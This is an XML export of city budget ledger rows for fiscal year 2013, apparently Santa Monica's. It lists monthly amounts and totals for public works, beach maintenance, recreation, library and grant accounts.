<row _id="3288"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>388578.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3886</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>392464.0</total></row>
<row _id="3289"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>820.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
<row _id="3290"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533211.0</object><object_description>FAC MAINT SVCS-WORK ORDERS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>45000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>45000.0</total></row>
<row _id="3291"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>88000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>88000.0</total></row>
<row _id="3292"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555011.0</object><object_description>CONT SERV/PLANT REPLACE/MIS SE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="3293"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>551010.0</object><object_description>CAR WASHES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>225.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>225.0</total></row>
<row _id="3294"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1237.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1237.0</total></row>
<row _id="3295"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>566190.0</object><object_description>EMPLOYEE EVENTS TEAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30750.0</total></row>
<row _id="3296"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16900.0</total></row>
<row _id="3297"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>28236.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>282</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28518.0</total></row>
<row _id="3298"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>288.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-36</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>252.0</total></row>
<row _id="3299"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579330.0</object><object_description>TRANSFER IN FROM GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-121090.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-350920</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-472010.0</total></row>
<row _id="3300"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561116.0</object><object_description>OPCC INTERIM HSG&amp;WELLNS-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8350.0</total></row>
<row _id="3301"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>408480.0</object><object_description>VACANT PROPERTY MONITORING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-70000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-70000.0</total></row>
<row _id="3302"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>27996.0</july><august>0</august><september>0.0</september><october>14278.0</october><november>0</november><december>0</december><january>0.0</january><february>423</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>42697.0</total></row>
<row _id="3303"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>50215.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>502</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50717.0</total></row>
<row _id="3304"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1517.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1517.0</total></row>
<row _id="3305"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>344554.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>344554.0</total></row>
<row _id="3306"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>31000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>31000.0</total></row>
<row _id="3307"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>77364.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>77364.0</total></row>
<row _id="3308"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4830.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>48</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4878.0</total></row>
<row _id="3309"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-ARTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="3310"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-SENIOR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="3311"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408520.0</object><object_description>MICHIGAN AVE CALTRANS EJ GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-75000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-64000.0</march><april>0</april><may>0</may><june>0.0</june><total>-139000.0</total></row>
<row _id="3312"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408540.0</object><object_description>MULTI MODAL TRAVEL &amp; PARKING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-106650.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-557500.0</march><april>0</april><may>0</may><june>0.0</june><total>-664150.0</total></row>
<row _id="3313"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="3314"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404040.0</object><object_description>SAMOHI SR2S GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-800000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-60546.61</march><april>0</april><may>0</may><june>0.0</june><total>-860546.61</total></row>
<row _id="3315"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>127509.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>127509.0</total></row>
<row _id="3316"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>186265.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>186265.0</total></row>
<row _id="3317"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-9813.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-9813.0</total></row>
<row _id="3318"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>120797.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1208</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>122005.0</total></row>
<row _id="3319"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>48</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4848.0</total></row>
<row _id="3320"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="3321"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUSTODIAL SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>135000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>135000.0</total></row>
<row _id="3322"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>330.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>330.0</total></row>
<row _id="3323"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>157652.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>157652.0</total></row>
<row _id="3324"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11607.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11607.0</total></row>
<row _id="3325"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12128.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12128.0</total></row>
<row _id="3326"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>952.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>952.0</total></row>
<row _id="3327"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11400.0</total></row>
<row _id="3328"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5214.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
<row _id="3329"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3365.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3365.0</total></row>
<row _id="3330"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>597.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>597.0</total></row>
<row _id="3331"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>403660.0</object><object_description>LIBRARY NON-RESIDENT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-375000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-375000.0</total></row>
<row _id="3332"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>404970.0</object><object_description>OFFSITE IMPROVEMENTS REIMBURSE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-103500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-103500.0</total></row>
<row _id="3333"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-8200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8200.0</total></row>
<row _id="3334"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>432.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>432.0</total></row>
